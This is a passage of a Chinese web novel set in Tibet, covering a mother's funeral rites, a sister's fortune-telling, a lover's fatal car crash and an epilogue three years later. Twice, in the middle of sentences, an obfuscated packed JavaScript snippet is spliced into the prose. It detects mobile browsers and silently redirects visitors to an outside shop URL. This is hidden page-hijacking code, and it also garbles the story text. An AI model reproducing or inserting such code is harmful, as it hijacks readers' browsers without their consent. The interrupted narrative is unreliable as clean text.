一盏,两盏,三盏……橘黄色的火苗依次亮起,驱散了角落的阴影。那团令人不适的黑影在逐渐增强的光明中渐渐淡去,直到看不见。 佛堂被温暖的光充盈,酥油燃烧的独特香气弥漫开来,盖过了死亡最初带来的冰冷气息。 德吉次仁在母亲头边坐下,开始低声念诵经文。那是沈翊听过很多次的“卓玛”,但今夜,那些熟悉的音节有了不同的重量,它们不再只是日常的功课,而是渡船的桨,是引路的灯。 沈翊站在门口,看着这一切。他觉得自己像个局外人,不该闯入这个神圣而私密的时刻,却又无法移开脚步。他的目光落在尼玛旺堆身上,那个青年正跪在母亲脚边,低着头,肩膀绷得很紧,像一张拉满的弓。 34. 后事【新增】 天边泛起鱼肚白的时候,尼玛旺堆起身,去给舅舅打电话。 他的声音很平静,用藏语简单说明了情况,请舅舅来主持后事。挂断电话后,他站在院子里,仰头看着渐渐亮起来的天空,久久没有动。 沈翊走过去,站在他身边,什么也没说,只是并肩站着。 晨光中,尼玛旺堆的侧脸线条清晰而冷硬,仿佛一夜之间褪去了最后一点青涩。他的睫毛很长,在眼睑下投出浅淡的阴影。沈翊看见他喉结滚动了一下,像是把什么沉重的东西咽了回去。 “舅舅说,他中午前到。”尼玛旺堆开口,声音依然沙哑,“按照传统,遗体要在家停放三天。” 沈翊点点头。他不懂这些习俗,但他知道,此刻自己能做的只有陪伴。 接下来的时间里,这个曾经充满生气的家被一种肃穆的寂静笼罩。 舅舅来了,还带来几位寺庙的僧人。他们为米玛阿姨整理了遗容,她的身体被摆成婴儿在母体中蜷缩的姿势,用洁白的哈达仔细包裹。第一次来到这个世界时如此,离开时亦是如此,这是一个完整的轮回。 德吉次仁在为母亲换衣服时发现,老人早就为自己准备好了最后一身衣裳,那是一件颜色已经不再鲜艳、却浆洗得干干净净的旧藏袍,袖口和领口绣着繁复的花纹。德吉次仁认出,那是外婆留给妈妈的嫁妆。 “她早就知道了。”德吉次仁低声对沈翊说,眼泪终于滑落,“她什么都知道。” 沈翊心里一酸。他想起米玛阿姨最近总是长时间地抚摸那只猫,总是仔细擦拭每一盏燃灯,总是用那种深重的、仿佛要把一切都刻进记忆的眼神看着孩子们。 原来,那是在告别。 第一天在喇嘛和僧人的诵经声中度过。低沉的喉音、清脆的法器、规律的鼓点,这些声音交织在一起,形成一种具有奇异安抚力量的场域。沈翊听不懂经文的内容,但他能感受到那种庄严,那不是悲伤的宣泄,而是对生命的礼赞,对灵魂的护送。 尼玛旺堆和德吉次仁一直跪在母亲身边,跟着念诵,添灯油,更换净水。他们的脸上没有崩溃的痕迹,只有一种深沉的专注,仿佛将所有的情感都倾注进了这些延续了千百年的仪式中。 只有那只猫,不明白发生了什么。它绕着佛堂门口打转,发出困惑的喵呜声,不明白为什么那个总是温柔抚摸它、给它留食物的人类,今天不再回应它的呼唤。 夜深了,诵经声暂歇。僧人们去隔壁房间休息,准备明天继续。 沈翊一直在照顾牛羊,忙完后他走进佛堂,看见尼玛旺堆还跪在原地,背脊挺得笔直,像一棵不肯弯曲的树。燃灯的光芒在他脸上跳跃,明明灭灭,让他的表情看起来有些不真实。 沈翊走过去,在他身边跪下,然后伸出手,轻轻抱住了他。 这是一个很轻的拥抱,没有用力,只是将对方的身体圈进自己的臂弯里,传递一点微不足道的温暖。 尼玛旺堆的身体僵了一瞬,然后慢慢松弛下来。他低下头,额头轻轻抵在沈翊的肩膀上。 “对不起,”他的声音闷闷的,“让你经历了这些……” “你为什么总是道歉?”沈翊打断他,声音里带着自己都没察觉的哽咽,“这不是你的错。意外是神也预料不到的事,你为什么总要把责任揽到自己身上?” 他顿了顿,将尼玛旺堆抱得更紧了些:“你就不能……依靠一下我吗?” 这句话说出口的瞬间,沈翊感到一阵近乎疼痛的释然。来西藏的这些日子,他一直是“被照顾”的那一个,尼玛旺堆为他挡风,为他暖床,为他解释一切陌生的习俗。他享受着这份好,却也一直隐隐不安,因为他从未真 正被这个人“需要”过。 现在,他终于说出来了。 尼玛旺堆沉默了很长时间。久到沈翊以为他不会回答时,他忽然用力回抱过来,手臂紧紧箍住沈翊的腰背,力道大得几乎让人喘不过气。 然后,沈翊感到颈侧传来温热的湿意。 尼玛旺堆哭了。 不是嚎啕大哭,甚至没有声音,只有滚烫的眼泪安静地滑落,渗进沈翊的衣领,烫在他的皮肤上。那种沉默的哭泣比任何宣泄都更让人心碎,这是一个习惯了承担的人,终于允许自己卸下一点点重负。 沈翊轻轻拍着他的背,像安抚一个孩子。佛堂里很安静,只有燃灯芯燃烧时细微的噼啪声,和两个人交叠的呼吸。 过了很久,尼玛旺堆终于抬起头。他的眼睛通红,脸上还有未干的泪痕,但表情已经平静了许多。他没有松开拥抱,只是将下巴搁在沈翊肩上,用一种近乎梦呓的语调开始说话: “你知道吗?我从小就知道死亡意味着什么。” “那年我大概……五六岁吧。爸爸喝醉了,把姐姐最爱的猫从二楼扔了下去。那只猫,姐姐养了两年,睡觉都要抱着。” “很幸运,妈妈当时在楼下晾衣服,接住了它。猫没死,但从此离开了这个家,再也没有回来过。我最后一次 见到它,是在小学六年级的时候。它突然出现在院墙上,脏兮兮的,瘦了很多,远远看了姐姐一眼,然后跳下 墙走了。我想……它应该是来告别的。” 尼玛旺堆的声音很轻,像在讲述别人的故事: “我爸爸不是个好父亲,也不是个好丈夫。我们家是从本家分出来的小家庭,妈妈一个人承担着两个角色——她是顶梁柱,也是我们的妈妈。” “我记得最清楚的一次,是我还没上小学的时候。那天妈妈和爸爸吵得很凶,妈妈收拾了东西,拉着姐姐要走。其实……姐姐希望妈妈带走我。她从小就很保护我。” “我们俩在门口拉扯了很久,最后妈妈选了姐姐。我说不伤心是假的,但我很庆幸——因为妈妈不会被我困在这里。” 他顿了顿,呼吸变得有些急促: “旧的婚姻就是‘媒妁之言,父母之命’。现在是二十世纪,可这样的体系依旧存在。你只有走出去,见识更广阔的世界,有足够的底气,才能抵抗。” “我舅妈就是最好的例子。舅舅是教师,舅妈是警.察——她是靠自己读书,赶上了最好的时代,才有了选择的权利。她可以选择自己喜欢的人,选择自己的婚姻。” 尼玛旺堆松开一些拥抱,看着沈翊的眼睛。燃灯的光映在他眼底,像两簇小小的火焰 “我这个人其实很坏。我以为自己注定孤独一生,我给自己算过,我没有婚姻线,姐姐也没有。” “还记得第一次见面,姐姐说她写小说吗?她骗你的。她写的是论文,说写耽美……应该是为了试探你。” “其实那一年,姐姐就算到家里会有客人,但为什么回来,她算不准。她认为这个人可能对我有帮助。你没来 之前,来过四个人,是姐姐去接的。民宿出问题不是故意的,是意外。但那些人都不喜欢农村,基本睡一晚就 走了。” “你来的时候,家里正好没人跟我说话。我早就把姐姐的话忘在了脑后,只当她算错了。” “但是看到你的第一眼……”尼玛旺堆的声音低了下去,几乎听不见,“我也不知道为什么,就觉得很开心。莫名其妙的开心。” “我没当回事儿。我最擅长自己骗自己。” “你说要留在这里的时候,我很开心。但是现在,我很后悔。” 他的眼神变得痛苦:“我不该留你在这里的。你只会经历更多的不幸……” 沈翊的心沉了下去。他听出了这句话里的潜台词:“所以,你是希望我走吗?” 尼玛旺堆沉默了。 沈翊用力抱紧他,像是要把自己的决心通过这个拥抱传递过去:“所以你是算出了我们之间会以分手告终,现在是在推开我吗?” “你做梦。”他的声音因为激动而颤抖,“是我先心动的,但是你先表的白。” “你别想甩掉我。” 尼玛旺堆怔怔地看着他,眼底那些自我保护的壁垒在这一刻终于彻底崩塌。他闭上眼睛,额头顶着沈翊的额头,低声说:“我错了。如果……” 敲门声打断了他未说完的话。 德吉次仁站在佛堂门口,眼睛红肿,但神情异常平静。她看着弟弟,用藏语说了句什么,然后换成汉语: “妈妈的葬礼办完,我就要去寺庙了。” 沈翊猛地睁大眼睛。 德吉次仁走进来,将一个小布包塞进尼玛旺堆手里:“对不起,弟弟。”她的声音很轻,却带着不容置疑的决 绝,“但我必须去。这是妈妈的……也是我的选择。” 尼玛旺堆握着那个布包,手指收紧,骨节泛白。他看着姐姐,看了很久很久,最终,极轻地点了点头。 德吉次仁笑了,眼泪却再次滑落。她伸手,用力抱了抱弟弟,又抱了抱沈翊,然后转身离开了佛堂。 接下来的几天,这个家沉浸在一种庄严的哀悼中。 很多人来哭,很多人在念经。 尼玛旺堆和德吉次仁显得很疲惫,但始终撑着处理一切事宜,接待吊唁的亲友,准备斋饭,安排法事。他们像两棵被风雪压弯却不肯折断的树,根紧紧扎在这片土地里,枝叶却向着不同的方向生长。 沈翊尽力帮忙,尽管他听不懂大多数对话,搞不清复杂的仪轨。但他学会了添灯油,学会了摆放供品,学会了在适当的时候低头默立。他笨拙地融入这个悲伤的仪式,不是为了被认可,只是想让那两个人知道,你们不是孤独的。 第三天凌晨,天还没亮,送葬的队伍出发了。 尼玛旺堆背着被白布包裹的遗体,那是母亲最后的重量,轻盈得像一片羽毛。喇嘛在前方敲打法器,诵经声在寒冷的空气中传得很远。有人一边走,一边用白色石灰粉在路上画出两条清晰的线。 沈翊后来才知道,那是引路的标记。灵魂会沿着这两条白线,跟着亲人的脚步,去往该去的地方。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183007|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的人家门口,也有人用石灰粉画出三条弧线,那是祝福,也是送别。 队伍顺时针绕扎什伦布寺转经三圈,然后缓缓走向天葬台。 沈翊没有跟去最后的地方。他和其他女眷一起留在半山腰,看着那个小小的白色包裹消失在视线尽头。德吉次仁站在他身边,双手合十,嘴唇无声地念诵着。 太阳升起的时候,远处的天葬台上空出现了黑色的斑点,是秃鹫。它们盘旋着,越来越低,最终落了下去。 德吉次仁忽然开口,声音平静得像在叙述天气:“那是最后的布施。把□□还给自然,喂养其他生命……妈妈会喜欢的。” 沈翊点点头。他虽然还不能完全理解这种告别方式,但他尊重这份源于信仰的坦然。 从那天起,尼玛旺堆开始制作“措”。 沈翊从别人那里听说,“措”在藏语里既是吉祥的象征,也与丧葬仪式有关。如果是吉祥的“措”,大家会分食;如果是丧葬用的,则不会食用,甚至不会拿到楼上——那是献给逝者的供奉。 尼玛旺堆做的显然是后者。 他花了整整一天时间,仔细地将酥油染成鲜艳的红色,混合炒熟磨细的青稞面,掺入冰糖、葡萄干、奶渣,塑成饱满的圆锥体。他的动作很慢,很专注,仿佛要将所有的思念和祈祷都揉进这小小的供奉里。 沈翊在旁边看着,偶尔递个工具,或者帮他稳住容器。两人很少说话,但有一种无声的默契在流动,当尼玛旺堆需要热水时,沈翊已经将铜壶提了过来;当他手指沾满酥油时,沈翊会适时递上干净的布。 做完“措”,尼玛旺堆将它供奉在佛堂里,放在母亲的照片前。照片是很多年前拍的,那时的米玛阿姨还很年轻,穿着鲜艳的藏袍,笑得眼睛弯弯,露出整齐的牙齿。 佛堂里,燃灯日夜不熄。 尼玛旺堆几乎住在了那里,每天添油、剪芯、更换净水。德吉次仁则仔细擦拭每一盏燃灯的外壁,让它们始终光洁如新。沈翊也试着帮忙,尽管笨手笨脚,打翻过灯油,剪断过灯芯,但尼玛旺堆从不责备,只是默默收拾好,然后教他怎么做才对。 “贵在‘诚’字。”尼玛旺堆这样说,“妈妈不会在意这些。” 一星期后的清晨,尼玛旺堆收拾了一个简单的行囊。 “我要一路向南,”他对沈翊说,“去给妈妈扔‘霞丹’。” “‘霞丹’?” “去寺庙为妈妈祈福。”尼玛旺堆解释,“要在有寺庙的地方,让僧人帮忙念经文,还有一些放生……算是, 替妈妈做最后的功德。” 沈翊立刻说:“我跟你一起去。” 但尼玛旺堆摇了摇头:“这次,我想一个人去。”见沈翊眼神黯淡下去,他补充道,“我很快就会回来。姐姐在家点灯,你……帮我照看她,好吗?” 他的眼神里有请求,也有承诺。 沈翊看着那双眼睛——依然清澈,却多了许多他读不懂的深重。最终,他点了点头:“好。我等你回来。” 尼玛旺堆笑了,那是一个很淡、却无比真实的笑容。他上前一步,轻轻抱了抱沈翊,在他耳边低声说:“谢谢,我很快就回来。” 然后他背上行囊,走出院门,没有回头。 沈翊站在门口,看着那个高大的背影渐渐消失在晨雾笼罩的土路尽头。风刮过院墙上的经幡,发出猎猎的声响。那只猫不知何时来到了他脚边,蹭了蹭他的裤腿,仰头发出一声绵长的“喵——”。 德吉次仁从佛堂走出来,手里拿着一盏刚添满油的燃灯。她将灯小心地放在佛龛前,然后走到沈翊身边,和他一起望着弟弟离去的方向。 “他很快就会回来的。”德吉次仁说,有些安抚意味。 “我知道。谢谢你。”沈翊说。 他们沉默地站了一会儿,直到太阳完全升起,金色的光芒洒满整个院落。牛圈里传来牦牛的声音,远处有人家 在生火,炊烟笔直地升上湛蓝的天空。 生活还在继续。 死亡不是终点,遗忘才是。 而在这里,在这片信仰与土地紧密相连的高原上,没有人会被真正遗忘。 沈翊忽然想起尼玛旺堆在湿地里说过的话:“名字有时候会成为一种束缚。所有生命,骨子里都向往自由。” 但现在他明白了,有些束缚,是人们心甘情愿背负的。比如记忆,比如爱,比如那些说不清道不明、却将人与 人紧紧系在一起的羁绊。 他转身回到屋里,开始收拾昨晚用过的茶碗。德吉次仁则拿起扫帚,仔细清扫佛堂门口的尘埃。猫跳上窗台,在阳光最好的位置蜷成一团,闭上了眼睛。 一切都和往常一样。 只是有些人离开了,有些人还在路上,而有些人,正在学习如何在这片土地上扎根,如何爱,如何告别,如何在失去之后,依然有勇气继续生活。 窗外的雪山静默矗立,见证着这一切。 35. 思念如水 尼玛旺堆离开后的第三天,空气里还残留着他身上那股混合了阳光与青草的气息。 沈翊独自坐在他和旺堆共住的房间里,无意间看到了米玛阿姨生前留给他的那个用不了包裹的小木匣。 布包是藏青色的,边缘已经磨得起毛,用一根同色的细绳仔细系着。 他一直没有打开——仿佛不打开,那份馈赠就永远处于“即将被接受”的状态,赠送的人也仿佛从未真正离开。 匣子很旧,边缘被摩挲得光滑温润,铜扣上刻着简单的吉祥纹。 又翻开之前相册,照片上是年轻的米玛阿姨,怀里抱着一个两三岁的男孩。男孩有一双格外明亮的大眼睛,正对着镜头咧嘴笑,露出几颗乳牙。背景是这栋房子的院子,那时候院墙还没现在这么高,远处的雪山清晰可见。 沈翊的手指轻轻拂过照片表面。纸质已经泛黄发脆,边缘有细小的缺损。他看着照片里那双熟悉的、清澈的眼睛,忽然像被什么东西击中了心脏,一种迟来的、钝重的痛楚,缓慢而持续地从胸腔深处漫上来。 那个人真的不在了。 米玛阿姨再也不会坐在火炉边,用生硬的汉语说“不可气”;再也不会在他碗里堆满食物,用那种慈爱又固执的眼神看着他吃完;再也不会在清晨转动经筒,低沉的诵经声像背景音乐般充盈整个院落。 还有那双眼睛的主人,那个会蹲在湿地里拍摄植物、会在佛堂里低声诵经、会笨拙地剪开自己毛衣给他垫在身下、会在清晨的院子里甩着头发上雪粒的青年。 他以后再也不会遇到那样的人了。 永远不会。 这种认知像一只冰冷的手,猝然扼住了他的喉咙。呼吸变得困难,视线里的照片开始模糊。沈翊撑着桌子,深深吸了一口气,却觉得吸进来的空气里全是尖锐的冰碴,刮得肺叶生疼。 德吉次仁进来拿东西时,看到的就是这幅场景。 沈翊背对着门,肩膀微微弓着,手里握着什么东西,站成一座沉默的雕像。 窗外是高原冬日典型的晴天。阳光刺眼,天空蓝得不真实,远处的雪山在强光下白得晃眼。这一切明亮得近乎残忍,衬得房间里的寂静更加深重。 她在门口站了很久,久到以为沈翊没有察觉。但就在她准备悄悄退出去时,沈翊开口了,声音干涩得像砂纸摩擦:“没什么的,你进来吧” 他转过身,手里还握着那张照片。眼睛是红的,但没有眼泪。 门帘被轻轻掀开,德吉次仁走了进来。 “没什么。”沈翊摇摇头自言自语道,将布包小心放在膝上,勉强扯出一个笑,“就是……突然觉得,这屋子有点空。” 德吉次仁没有立刻接话。她走到沈翊对面,在尼玛旺堆常坐的那个垫子上坐下,手里还捧着那本用红布包裹的厚厚经书。她看了沈翊一会儿,又看了看他膝上的布包,忽然开口:“我其实应该跟你好好道歉。” 沈翊抬起眼:“我已经听到你说过好几次了。”他说,语气里没有责怪,只有疲惫。 “这次不一样。”德吉次仁深吸一口气,手里拿着一个用红布包裹的长条状物品,走进房间,在沈翊对面的垫子上坐下。她把东西放在矮桌上,双手交叠放在膝上,沉默了很久。 她解开红布,露出里面的东西,那是一把旧得看不出原本颜色的木尺,尺身上刻满了密密麻麻的藏文符号和奇怪的图案。有些地方被摩挲得光滑发亮,有些则因为久未使用而积着薄灰。 “你知道我会算命的,其实从一开始就知道你会来到这里。”德吉次仁的手指轻轻抚过尺身上的刻痕,“我也知道我弟弟会因为你打开心扉。但是后面的事情……我看不到。” 她自嘲似的笑了笑,那笑容很短,几乎没有抵达眼睛: “这是一种很迷信的说法。我从未相信过我自己会算对,到现在都不信。我学那些东西,只是因为家族传承,因为不得不学。可事实摆在我眼前。也许是机缘巧合,也许是意外……不管怎样,是我连累了你。对不起。” 房间里很安静。远处传来邻居家孩子嬉闹的声音,还有牦牛低沉的哞叫。这些日常的声响,此刻听来却像隔着厚厚的玻璃,模糊而遥远。 沈翊看着那把古老的木尺,又看向德吉次仁。她的金发在从窗户斜射进来的阳光下几乎在燃烧,但脸上的表情却是一种近乎苍白的平静。那种平静不是释然,而是某种更深的东西。 接受,或者说,投降。 “我不介意的。”沈翊说,声音比刚才清晰了些,“相反,我很开心。我在这里遇到了我喜欢的人,如果这是一笔买卖,很值,不是吗?” 他试图用轻松的语气,但说出来的话却带着沉甸甸的重量。 德吉次仁怔了怔,眼神里有东西在晃动:“我……我不知道。” “这其实就是一笔很值得的买卖。”沈翊肯定道,像是在说服她,也像是在说服自己,“你既然会算命,那给我和你弟弟算一下,我们的以后怎么样?” “啊,现在不行。” “为什么?” “因为我已经发誓,再也不会给人算命。” 德吉次仁将木尺重新用红布包裹好,动作很慢,像在进行某种仪式。她低着头,睫毛在眼下投出深深的阴影: “你知道占卜吗?” 沈翊:“占卜不就是算命吗?” “不是同一种东西。”德吉次仁抬起头,眼神变得悠远,仿佛在背诵一段早已刻进骨子里的文字: “占卜是有仪式的仪式,通常是象征性的、表演性的、由文化传统所规定的一整套行为方式和象征符号。这种充满文化意义的社会群体行为,它渗透于人类的创造与实践活动……可以是神圣的,也可以是凡俗的活动。” 她的声音平稳而清晰,像在课堂上讲解一个复杂的理论: “这类活动是指在特定群体和文化中沟通、过渡,能够强化群体规范、约束群体行为和统一成员步伐、整合社会的方式。藏族先民在从事生产活动、举行人生礼仪、出行狩猎、出征战斗之前,都要在巫师或部落头领的主持下,通过传统的程式、动作,完成特定的行为。人们相信这能预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183008|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知未来及吉凶祸福,并将这些活动作为一切行为的准则和指南。” 房间里很安静,只有德吉次仁的声音在流淌。那只猫翻了个身,发出轻微的呼噜声。 沈翊安静地听着。他其实不太理解那些复杂的术语,但他能听懂德吉次仁语气里的东西,那是一种深植于血脉的、与这片土地紧密相连的宿命感。 “占卜是占卜者利用自然的、机械的或人为工具和方法,向神灵询问过去或将来人事和其他事物的结果,并根据占卜工具上显示的兆文、信号等判断吉凶祸福,认为上述是鬼神的旨意,人们根据这样得来的信息,作为自己行动的指针。” 德吉次仁顿了顿,手指无意识地摩挲着红布的边缘: “占卜已经成为了藏族先民一切行为的准则和指南,于是各种生产活动、生活安排、人生礼仪、出行交往、出征战斗等等,几乎事无大小都要进行占卜,而且有的每天占卜。诸事占卜以此知晓自己所有行为的预期效果,以便‘做出肯定或否定的决定,否则畏缩不前,无所下手’。 她看向沈翊,眼神复杂: “我就是被注定要成为下一任巫师的人。这个,”她指了指红布包裹的木尺,“是神会降临在你身体里的媒介。你需要帮人解决问题。如果我不想当,可以做类似驱魔的仪式。成功了那还好,失败了,一半神魂留在体内,我会变成疯子。” 她笑了笑,那笑容里有种荒诞的苦涩: “我小时候不想卷进任何人的因果中,但发现我跳不掉。我像做了一场梦一样,从这里到过桑珠曲顶的树林里,我没有任何意识。一夜之间,从这里到坐车也需要三小时左右的寺庙。那可真是见鬼了。” “我认命了。”她的声音低了下去,“所以我弟弟也该有选择的权利。偏偏他对任何事情、人、物品,没有欲望。人没有欲望……那就是神了。我希望他快乐,我希望他可以不继承‘昂吧’,自由地活下去。” 沈翊皱眉:“所以你在等我的到来。” “对不起。”德吉次仁说,这次的声音轻得像叹息。 “你先走吧,我想静一静。”沈翊低着头说。 德吉次仁望着他孤独的背影,感觉自己罪孽深重。 沈翊在这里生活了很久,但他依旧不信这些东西。 他是无神论者,敬鬼神而远之。这一切在他看来,不过是世俗仪式继承模式的错。 而且从来没有人说过,这些事是不允许同性恋的。 沈翊立马拿起手机问了德吉次仁,“这些规矩里,有没有不允许同性恋的说法?” 德吉次仁:没有这种说法。 沈翊忽然觉得眼眶发酸,他点点头,对着空无一人的房间轻声说:“对嘛。” 他放下手机,那种被压抑的思念突然如潮水般涌来,几乎将他淹没。 他想米玛阿姨了,想她转佛珠时温和的侧脸,想她递来酥油茶时慈祥的笑容。 更想尼玛旺堆,想他开车时专注的眉眼,想他弹扎木念时低垂的睫毛,想他背着自己走过泥泞地时宽阔的肩膀。 36. 死亡与新生 三天前。 沈翊非常开始想尼玛旺堆,然后他沈翊拿出手机,给尼玛旺堆打电话。 铃声响了很久。就在他以为不会有人接时,电话通了。 “怎么了?”尼玛旺堆的声音传来,带着熟悉的、微微上扬的尾音。背景是汽车行驶的风噪和佛经声——是那首他们常听的佛经。 “想你了。”沈翊说,声音闷闷的。 如此直白的话,让对面的人好久没有回应,只有佛经在继续。 “怎么了?”尼玛旺堆终于开口,声音有些紧。 “咳,过于直白了。”沈翊说,自己都觉得不好意思。他能想象尼玛旺堆此刻的表情——一定又脸红了,耳朵尖会发烫,眼神会躲闪,但嘴角会不自觉地向上弯。 “你现在在干什么?” “准备上高速。”尼玛旺堆说,“大概还有两小时就能到家。” 沈翊看着窗外明晃晃的阳光,忽然说:“我刚才跟你姐姐聊了聊。我怎么感觉……你们的命运从一开始就注定 了呢?”他的声音里带着自己都没察觉的闷闷不乐。 电话那头又沉默了。这次沉默的时间更长,长到沈翊以为信号断了。 “你没说错。”尼玛旺堆终于开口,声音很平静,平静得让沈翊心里一紧,“我也一直有这种感觉,感觉被人操控着自己的一切。其实我能猜到姐姐说了什么。只是……我对要不要当‘昂吧’没有什么意见。反正当不当‘昂吧’也不影响我结婚,只有去寺庙当僧人才会有影响——我又不当僧人,我可以结婚。” 他顿了顿,声音低了些: “我之前是想去当僧人的,姐姐不让,所以会给我算命。” 沈翊握着手机,指尖冰凉。他听到尼玛旺堆继续说,语气里有一种近乎天真的坦然: “其实,我家人对我都很纵容。不过,我发现了一个事情……”他的声音忽然轻快起来,像发现了什么了不得的秘密,“那就是我有婚姻线了。我回去后给你看。” “好。”沈翊说,喉咙发紧。 他忽然觉得,自己了解了一切曲折的原因。 那些所谓的命运、占卜、继承……在这一刻都变得不重要了。重要的只有电话那头的人,那个会因为他一句“想你了”而脸红、会认真告诉他“我有婚姻线了”的、笨拙又真诚的人。 尼玛旺堆突然说,声音清晰而坚定,穿过数百公里的距离,直抵沈翊耳中: “我很喜欢你,非常喜欢你。” 这句话说得太突然,太直接,以至于沈翊完全愣住了。 他张了张嘴,想说什么,却发不出声音。心脏在胸腔里疯狂跳动,像要挣脱肋骨跳出来。 然后—— 砰!!! 一声巨响从听筒里炸开。 刺耳的金属摩擦声、玻璃碎裂声、尖锐的刹车声……所有声音混杂在一起,形成一种令人牙酸的、灾难性的轰鸣。接着是重物撞击的闷响,一下,又一下。 手机似乎从支架上掉了下来,在车里翻滚。沈翊听到尼玛旺堆短促的惊呼,然后是更可怕的、漫长的寂静。 只有刺耳的、持续的背景音——是汽车警报在响,还有模糊的、遥远的人声。 “旺堆?旺堆!”沈翊对着手机大喊,声音嘶哑得不像自己的,“尼玛旺堆!你说话!说话啊!” 没有回应。 只有那些令人心慌的声音,还有他自己越来越急促的呼吸。 德吉次仁听到声音冲了进来。她看到沈翊握着手机,脸色苍白得像纸,整个人在剧烈地颤抖,嘴唇翕动着,却发不出连贯的音节。 她夺过手机,看到屏幕上是熟悉的车内视角——那个她亲手挂上去的小小金刚杵挂坠,正在镜头前疯狂摇晃。 她的脑海里“嗡”的一声,瞬间一片空白。 然后,她做出了一个让沈翊永生难忘的动作,她抬起手,狠狠地、毫不留情地扇了自己一巴掌。 清脆的响声在寂静的房间里炸开,她白皙的脸颊上瞬间浮现出清晰的指印。她需要冷静。 那一巴掌像是把她打醒了。德吉次仁的眼神从空白转为一种可怕的冷静。 她迅速拿出自己的手机,开始拨打报警电话。 沈翊听到她用藏语快速地说着什么,语速极快,声音却异常平稳。他听不懂全部,但捕捉到几个词:“车祸” “高速”“弟弟”“急需救援”。 “他在高速上。”沈翊终于找回自己的声音,干涩地说出这句话。 德吉次仁点头,切换成汉语,向电话那头清晰地报出了位置、车牌号、车型,以及所有他们知道的信息。她的 声音没有颤抖,逻辑清晰得可怕,仿佛刚才那失控的一巴掌从未发生过。 挂断电话后,她看着沈翊,说:“我们去拉萨。” 没有商量,没有犹豫,是陈述句。 沈翊点头。他甚至不记得自己是怎么站起来,怎么穿上外套,怎么跟着德吉次仁冲出门的。他只记得院子里的阳光刺得眼睛生疼,记得那只猫追到门口,困惑地喵喵叫,记得德吉次仁发动车子时,引擎发出近乎咆哮的轰鸣。 去拉萨的路,沈翊后来完全记不清了。 他只记得窗外的风景在飞速倒退,记得德吉次仁把车开得几乎要飞起来,记得自己一直握着手机,屏幕已经暗了,电话早就断了,但他还是握着,仿佛那是唯一的希望。 一个小时后,德吉次仁的手机响了。 她看了一眼来电显示,脸色瞬间变得惨白。她没有立刻接,而是缓缓将车停到路边。高原的风从车窗灌进来,冷得像刀子。 德吉次仁深吸一口气,按了接听键,打开免提。 警.察的声音从听筒里传出来,用标准的汉语,缓慢而清晰地告知:事故现场已处理完毕。车辆严重损毁。驾驶员经现场医护人员确认,已无生命体征。请家属前往指定地点…… 后面的话,沈翊听不清了。 他的耳朵里嗡嗡作响,像有无数只蜜蜂在同时振翅。视线开始模糊,世界变成一团晃动的色块。他感到德吉次 仁的手伸过来,紧紧抓住了他的手。那只手冰凉,在剧烈地颤抖。 “知道了。”德吉次仁说,声音平静得诡异,“我们马上过去。” 挂断电话后,她没有立刻开车。而是趴在方向盘上,肩膀开始剧烈地起伏。没有声音,只有压抑的、破碎的喘息。 沈翊看着窗外。远处,一群黑色的鸟正飞过雪山之巅,在湛蓝的天空中划出自由的弧线。阳光依然明亮,雪山 依然洁白,世界依然按照它既定的轨道运转。 只有他们的世界,在这一刻,彻底崩塌了。 --- 三年后。 西藏的春天来得迟,但一旦到来,便以席卷一切的姿态。 枯黄的草场几乎在一夜之间泛起新绿,远处的雪山依然戴着白帽,山脚下却已有了潺潺流水。湿地里的候鸟回来了,成群结队地在浅滩上觅食、嬉戏,鸣叫声清越悠长,划破高原寂静的天空。 沈翊站在湿地边缘的观察点,手里拿着望远镜,正在记录一群新来的黑颈鹤的数量和状态。 他穿着半旧的户外防风衣,肤色比三年前深了不少,是高原阳光留下的印记。头发剪短了,露出清晰的额头和眉眼,下颌线比从前更加分明,少了些都市的精致,多了些风吹日晒的粗糙。 沈翊不记得自己当时是怎么度过那些日子的。记忆像被撕碎的纸片,散落一地,再也拼不回完整的画面。 他只记得身体的感受——那种坠入冰窖般的寒冷,从指尖蔓延到四肢百骸,最后冻结在心脏的位置。他记得自己无法操控自己的身体,像被人点了穴,僵硬地坐在那里,听着德吉次仁和警察交涉,听着那些关于“遗体”“手续”“证明”的词汇。 身体的自我保护机制启动,将那个场景的大部分细节都模糊化了。他只留下一些碎片:医院走廊惨白的灯光,德吉次仁签文件时颤抖的手,还有那个小小的、被白布覆盖的轮廓。 他不记得自己有没有哭。也许有,也许没有。眼泪在那个时刻变得太轻,承载不起那样沉重的失去。 后来,他留了下来。 没有犹豫,没有挣扎,就像树木扎根土地那样自然。他把户口迁到了这里,在日喀则市区找了一份与环保相关的工作,既要维持生计,也方便继续尼玛旺堆曾经守护的那片湿地。 遵从尼玛旺堆的愿望,他们进行了天葬。 那个人,什么也留给他。 德吉次仁在葬礼结束后不久,真的去了寺庙。不是短暂修行,是正式出家。她把家里的钥匙交给沈翊,说:“这个家,以后就交给你了。” 沈翊没有问她为什么。他懂。有些伤痛需要一种更宏大的容器来盛放,个人的悲欢在信仰的尺度下,或许能获得某种意义上的安放。 今天,沈翊刚送走一位从拉萨来的僧人。对方是德吉次仁的师兄,偶尔会来看看她,也顺路给沈翊带些东西。 这次带的是一幅小小的唐卡,画面是四臂观音,色彩艳丽,线条流畅。僧人将唐卡交给沈翊时,仔细端详了他一会儿,忽然说:“你变得更像他了。” 